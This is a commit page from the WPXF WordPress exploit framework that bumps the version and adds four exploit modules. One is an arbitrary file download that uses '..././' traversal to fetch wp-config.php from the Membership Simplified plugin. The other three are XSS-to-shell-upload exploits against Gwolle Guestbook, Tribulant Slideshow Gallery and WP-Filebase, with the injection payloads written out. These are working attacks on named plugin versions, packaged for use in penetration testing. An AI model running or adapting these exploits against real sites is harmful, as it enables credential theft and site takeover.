Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 384bda5

Browse files
committed
Merge branch 'development'
2 parents 4df9841 + 44d7dbf commit 384bda5

7 files changed

+167
-3
lines changed

VERSION

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
1.5.1
1+
1.5.2

lib/cli/module_info.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ def print_description
1616
if context.module.module_description_preformatted
1717
print_std(indent_without_wrap(context.module.module_desc))
1818
else
19-
print_std(wrap_text(context.module.module_desc).strip)
19+
print_std(remove_new_lines_and_wrap_text(context.module.module_desc).strip)
2020
end
2121
end
2222
end

lib/cli/output.rb

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,12 +7,17 @@ def indent_cursor(level = 1)
77
@indent_level -= level
88
end
99

10-
def wrap_text(s, padding = 0, width = 78)
10+
def remove_new_lines_and_wrap_text(s, padding = 0, width = 78)
1111
s.tr("\n", '')
1212
.gsub(/(.{1,#{width}})(\s+|\Z)/, "\\1\n#{@indent * @indent_level}#{' ' * padding}").chomp
1313
.gsub(/\s+$/, '')
1414
end
1515

16+
def wrap_text(s, padding = 0, width = 78)
17+
s.gsub(/(.{1,#{width}})(\s+|\Z)/, "\\1\n#{@indent * @indent_level}#{' ' * padding}").chomp
18+
.gsub(/\s+$/, '')
19+
end
20+
1621
def indent_without_wrap(s)
1722
s.gsub(/\n/, "\n#{@indent * @indent_level}")
1823
end
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
class Wpxf::Auxiliary::MembershipSimplifiedArbitraryFileDownload < Wpxf::Module
2+
include Wpxf::WordPress::FileDownload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Membership Simplified <= 1.58 Arbitrary File Download',
9+
desc: %(
10+
This module exploits a vulnerability which allows you to download any arbitrary file accessible
11+
by the user the web server is running as. Relative paths must use "..././" as opposed to "../",
12+
in order to bypass mitigation within the plugin.
13+
),
14+
author: [
15+
'Larry W. Cashdollar', # Disclosure
16+
'Rob Carr <rob[at]rastating.com>' # WPXF module
17+
],
18+
references: [
19+
['CVE', '2017-1002008'],
20+
['WPVDB', '8777'],
21+
['URL', 'http://www.vapidlabs.com/advisory.php?v=187']
22+
],
23+
date: 'Mar 13 2017'
24+
)
25+
end
26+
27+
def check
28+
changelog = normalize_uri(wordpress_url_plugins, 'membership-simplified-for-oap-members-only', 'readme.txt')
29+
check_version_from_custom_file(changelog, /\=\s+Beta\s+(\d+\.\d+(\.\d+)*)\s+\=/, '1.59')
30+
end
31+
32+
def default_remote_file_path
33+
'..././..././..././wp-config.php'
34+
end
35+
36+
def working_directory
37+
'wp-content/plugins/membership-simplified-for-oap-members-only'
38+
end
39+
40+
def downloader_url
41+
normalize_uri(wordpress_url_plugins, 'membership-simplified-for-oap-members-only', 'download.php')
42+
end
43+
44+
def download_request_params
45+
{ 'download_file' => remote_file }
46+
end
47+
end
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
class Wpxf::Exploit::GwolleGuestbookStoredXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StoredXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Gwolle Guestbook <= 2.1.0 Stored XSS Shell Upload',
9+
author: [
10+
'Radjnies Bhansingh', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8785'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_gwolle_guestbook_wordpress_plugin.html']
16+
],
17+
date: 'Mar 01 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('gwolle-gb', '2.1.1')
23+
end
24+
25+
def vulnerable_page
26+
'the post review page'
27+
end
28+
29+
def store_script
30+
execute_post_request(
31+
url: full_uri,
32+
body: {
33+
'gwolle_gb_function' => 'add_entry',
34+
'gwolle_gb_book_id' => '1',
35+
'gwolle_gb_author_name' => Utility::Text.rand_alpha(5),
36+
'gwolle_gb_author_origin' => "#{Utility::Text.rand_alpha(5)}\" onmouseover=#{xss_ascii_encoded_include_script} a=\"",
37+
'gwolle_gb_author_email' => Utility::Text.rand_email,
38+
'gwolle_gb_author_website' => '',
39+
'gwolle_gb_subject' => Utility::Text.rand_alpha(5),
40+
'gwolle_gb_content' => Utility::Text.rand_alpha(10),
41+
'gwolle_gb_submit' => 'Submit'
42+
}
43+
)
44+
end
45+
end
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
class Wpxf::Exploit::TribulantSlideshowGalleryReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Tribulant Slideshow Gallery <= 1.6.4 Reflected XSS Shell Upload',
9+
author: [
10+
'Spyros Gasteratos', # Discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8786'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_tribulant_slideshow_galleries_wordpress_plugin.html']
16+
],
17+
date: 'Mar 01 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('slideshow-gallery', '1.6.5')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'admin.php')
27+
end
28+
29+
def url_with_xss
30+
"#{vulnerable_url}?page=slideshow-galleries&method=savegtlcq%5C%22%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E"
31+
end
32+
end
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
class Wpxf::Exploit::WpFilebaseDownloadManagerReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WP-Filebase Download Manager <= 3.4.4 Reflected XSS Shell Upload',
9+
author: [
10+
'Yorick Koster', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8783'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_wp_filebase_download_manager_wordpress_plugin.html']
16+
],
17+
date: 'Mar 01 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('wp-filebase', '3.4.5')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'admin.php?page=wpfilebase_files')
27+
end
28+
29+
def initial_script
30+
create_basic_post_script(
31+
vulnerable_url,
32+
'page' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
33+
)
34+
end
35+
end

0 commit comments

Comments
 (0)